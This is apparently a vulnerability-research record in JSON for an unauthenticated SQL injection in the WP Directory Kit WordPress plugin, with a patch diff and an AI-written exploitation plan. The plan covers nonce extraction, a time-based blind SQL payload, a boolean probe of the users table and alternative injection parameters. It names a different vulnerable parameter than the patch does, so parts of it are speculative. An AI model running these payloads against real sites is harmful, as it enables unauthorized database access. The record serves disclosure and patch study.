[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fEDag9UTC2snGYOSfpWaF6lkn45_UGMbOmM_M3yFpyi4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39531","wp-directory-kit-unauthenticated-sql-injection-2","WP Directory Kit \u003C= 1.5.0 - Unauthenticated SQL Injection","The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.5.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wpdirectorykit",null,"\u003C=1.5.0","1.5.1","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-13 00:00:00","2026-04-21 15:06:24",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff1117b57-bd86-4e90-b1bb-e13939e0e766?source=api-prod",9,[22,23,24,25,26,27,28,29],"README.txt","application\u002Fcontrollers\u002FWdk_frontendajax.php","application\u002Fhelpers\u002FBasic.php","application\u002Fmodels\u002FListing_m.php","application\u002Fmodels\u002FSettings_m.php","application\u002Fviews\u002Ffrontend\u002Fresult_item_card.php","application\u002Fviews\u002Fwdk_listing\u002Findex.php","elementor-elements\u002Fassets\u002Fcss\u002Fwidgets\u002Fwdk-listing-slider.css","researched",false,3,"## Vulnerability Summary\nThe **WP Directory Kit** plugin for WordPress is vulnerable to an **Unauthenticated SQL Injection** in versions up to and including 1.5.0. The vulnerability exists within the `treefieldid` method of the `Wdk_frontendajax` controller (found in `application\u002Fcontrollers\u002FWdk_frontendajax.php`).\n\nThe plugin fails to sufficiently escape or prepare SQL queries when processing the `sql_where` parameter (and potentially others) passed via AJAX. Although the input is passed through `sanitize_text_field()`, this function does not neutralize SQL injection characters. The unsanitized input is then appended directly to the `WHERE` clause of a database query. Because the action is registered for unauthenticated users (`wp_ajax_nopriv_treefieldid`), an attacker can extract sensitive information from the database, such as user hashes and secret keys.\n\n## Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `treefieldid` (maps to `Wdk_frontendajax::treefieldid`)\n- **Vulnerable Parameter:** `sql_where`\n- **Authentication:** Unauthenticated (leveraging `wp_ajax_nopriv_treefieldid`)\n- **Required Nonce:** The parameter `wdk_secure` is checked using `check_ajax_referer('wdk_secure_treefieldid', 'wdk_secure')`. This nonce is typically localized for unauthenticated users on pages containing a directory search form.\n\n## Code Flow\n1. **Entry Point:** An unauthenticated AJAX request is sent to `admin-ajax.php` with `action=treefieldid`.\n2. **Controller Routing:** The request is routed to `Wdk_frontendajax::treefieldid`.\n3. **Nonce Verification:** `check_ajax_referer('wdk_secure_treefieldid', 'wdk_secure')` validates the nonce.\n4. **Parameter Parsing:** The method iterates through `$_POST` and stores values in the `$parameters` array after applying `sanitize_text_field()`.\n5. **Logic Path:** The code checks if `$parameters['sql_where']` is empty. If not, and it doesn't match the hardcoded string `'only_nochilds'`, it enters a block (truncated in provided source) where the value is likely assigned to a `$where` array.\n6. **SQL Sink:** The `$where` array is used in a database query. In the Winter MVC framework (used by this plugin), passing an array key with a `NULL` value to the `where()` method appends the key as raw SQL (e.g., `$where[$sql_where] = NULL`).\n7. **Execution:** The injected SQL in `sql_where` is executed by `$this->db->get()`.\n\n## Nonce Acquisition Strategy\nThe nonce `wdk_secure_treefieldid` is generated for the action string `wdk_secure_treefieldid`. It is localized in a JavaScript object named `wdk_common`.\n\n1. **Shortcode Identification:** The search form triggers the loading of necessary scripts and nonces. The shortcode is `[wdk_search_form]`.\n2. **Page Creation:** Create a public page containing this shortcode:\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"Search\" --post_content='[wdk_search_form]'\n   ```\n3. **Extraction:**\n   - Use `browser_navigate` to visit the newly created page.\n   - Use `browser_eval` to extract the nonce:\n     ```javascript\n     window.wdk_common?.wdk_secure\n     ```\n\n## Exploitation Strategy\nThe exploit uses a time-based blind SQL injection payload in the `sql_where` parameter.\n\n### HTTP Request (Time-Based Test)\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Parameters:**\n    - `action`: `treefieldid`\n    - `wdk_secure`: `[EXTRACTED_NONCE]`\n    - `table`: `listing_m`\n    - `attribute_id`: `post_id`\n    - `attribute_value`: `post_title`\n    - `search_term`: `a`\n    - `sql_where`: `1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n\n### Payload Breakdown\n- `1=1`: Ensures the preceding logic remains valid.\n- `AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`: Injects a subquery that causes the database to sleep for 5 seconds if the query executes.\n- `sanitize_text_field()`: This payload contains no HTML tags and will pass through unchanged.\n\n## Test Data Setup\n1. **Initialize Plugin:** Ensure WP Directory Kit is active.\n2. **Create Content:** At least one listing is recommended to ensure the query returns results, although the injection into the `WHERE` clause should work regardless.\n   ```bash\n   wp post create --post_type=wdk-listing --post_title=\"Exploit Test Listing\" --post_status=publish\n   ```\n3. **Generate Nonce Page:**\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"Nonce Page\" --post_content='[wdk_search_form]'\n   ```\n\n## Expected Results\n- **Success:** The HTTP request to `admin-ajax.php` takes approximately 5 seconds to respond.\n- **Response Body:** Should return a JSON object with `success: true` and a list of results (if no error occurred) or simply time out\u002Fdelay.\n\n## Verification Steps\n1. **Time Verification:** Compare the response time of a valid request (e.g., `SLEEP(0)`) vs. the exploit request (`SLEEP(5)`).\n2. **Database Check:** Confirm the database is responsive using `wp db query \"SELECT 1\"`.\n3. **Data Extraction (Advanced):** To confirm data access, change the payload to boolean-based:\n   ```sql\n   1=1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')\n   ```\n   Check if the JSON response returns the listing results (True) or an empty list (False).\n\n## Alternative Approaches\nIf `sql_where` is not the correct sink, target other parameters in the same function:\n1. **`table` parameter:** Attempt to load different models.\n2. **`search_term` parameter:** The code builds `$id_part = \"$attr_id=$attr_search OR \"`. If `$attr_id` or `$attr_search` (when numeric) are handled improperly, injection may occur there.\n3. **`map_infowindow` action:** This action in `Wdk_frontendajax.php` lacks a nonce check and calls `listing_m->get($listing_post_id)`. If the underlying `get()` method is not using `prepare()`, it provides a completely unauthenticated, nonceless injection path via `listing_post_id`.","The WP Directory Kit plugin for WordPress is vulnerable to unauthenticated SQL injection via the treefieldid AJAX action. This vulnerability occurs because the plugin uses user-supplied parameters, specifically filter_ids, as raw SQL keys in a WHERE clause without proper sanitization or prepared statements.","\u002F\u002F application\u002Fcontrollers\u002FWdk_frontendajax.php around line 240\nif(!empty($parameters['filter_ids'])){\n    $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdirectorykit\u002F1.5.0\u002Fapplication\u002Fcontrollers\u002FWdk_frontendajax.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdirectorykit\u002F1.5.1\u002Fapplication\u002Fcontrollers\u002FWdk_frontendajax.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdirectorykit\u002F1.5.0\u002Fapplication\u002Fcontrollers\u002FWdk_frontendajax.php\t2026-03-10 20:39:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdirectorykit\u002F1.5.1\u002Fapplication\u002Fcontrollers\u002FWdk_frontendajax.php\t2026-04-20 15:09:36.000000000 +0000\n@@ -240,7 +240,7 @@\n \t\t\t\t} else {\n \t\t\t\t\t\n \t\t\t\t\tif(!empty($parameters['filter_ids'])){\n-\t\t\t\t\t\t$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));\n+\t\t\t\t\t\t$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('\u002F[^0-9,]\u002F', '', $parameters['filter_ids'])).')' => NULL));\n \t\t\t\t\t}\n \n \t\t\t\t\t$tree_results = $this->$table->get_pagination(intval($parameters['limit']),intval($parameters['offset']), $where );\n@@ -253,7 +253,7 @@\n \t\t\t\t}\n \t\t\t\t\n \t\t\t\tif(!empty($parameters['filter_ids'])){\n-\t\t\t\t\t$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));\n+\t\t\t\t\t$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('\u002F[^0-9,]\u002F', '', $parameters['filter_ids'])).')' => NULL));\n \t\t\t\t}\n \t\t\t\t\n \t\t\t\tif($table == 'user_m') {\n@@ -472,7 +472,7 @@\n             } \n \n \t\t\tif(!empty($parameters['filter_ids'])){\n-\t\t\t\t$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));\n+\t\t\t\t$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('\u002F[^0-9,]\u002F', '', $parameters['filter_ids'])).')' => NULL));\n \t\t\t}\n \n \t\t\tif(!empty($parameters['hide_fields'])) {\n@@ -553,6 +553,9 @@\n   \n     public function select_2_ajax($output=\"\", $atts=array(), $instance=NULL)\n     {\n+\n+\t\tcheck_ajax_referer('wdk_secure_ajax', 'wdk_secure');\n+\n \t\t$this->load->load_helper('listing');\n \t\t$this->load->model('listing_m');\n \t\t$this->load->model('listingfield_m');\n@@ -571,6 +574,12 @@\n \n \t\t$model_name = $parameters['table'];\n \n+\t\t\u002F\u002F allow only 'listing_m', 'category_m', or 'location_m' for security\n+\t\t$allowed_models = array('listing_m', 'category_m', 'location_m');\n+\t\tif (!in_array($model_name, $allowed_models)) {\n+\t\t\treturn false;\n+\t\t}","To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce from a public-facing page that includes a directory search form (typically localized in the wdk_common JavaScript object). The attacker then sends a POST request to the \u002Fwp-admin\u002Fadmin-ajax.php endpoint with the action parameter set to treefieldid and the extracted nonce in the wdk_secure parameter. By injecting a SQL payload into the filter_ids parameter (e.g., using a closing parenthesis and logical operator like 1) AND SLEEP(5)--), the attacker can execute arbitrary SQL commands because the plugin appends the value directly to a WHERE clause in the database query.","gemini-3-flash-preview","2026-04-27 14:57:13","2026-04-27 14:58:04",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.5.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdirectorykit\u002Ftags\u002F1.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdirectorykit.1.5.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdirectorykit\u002Ftags\u002F1.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdirectorykit.1.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdirectorykit\u002Ftags"]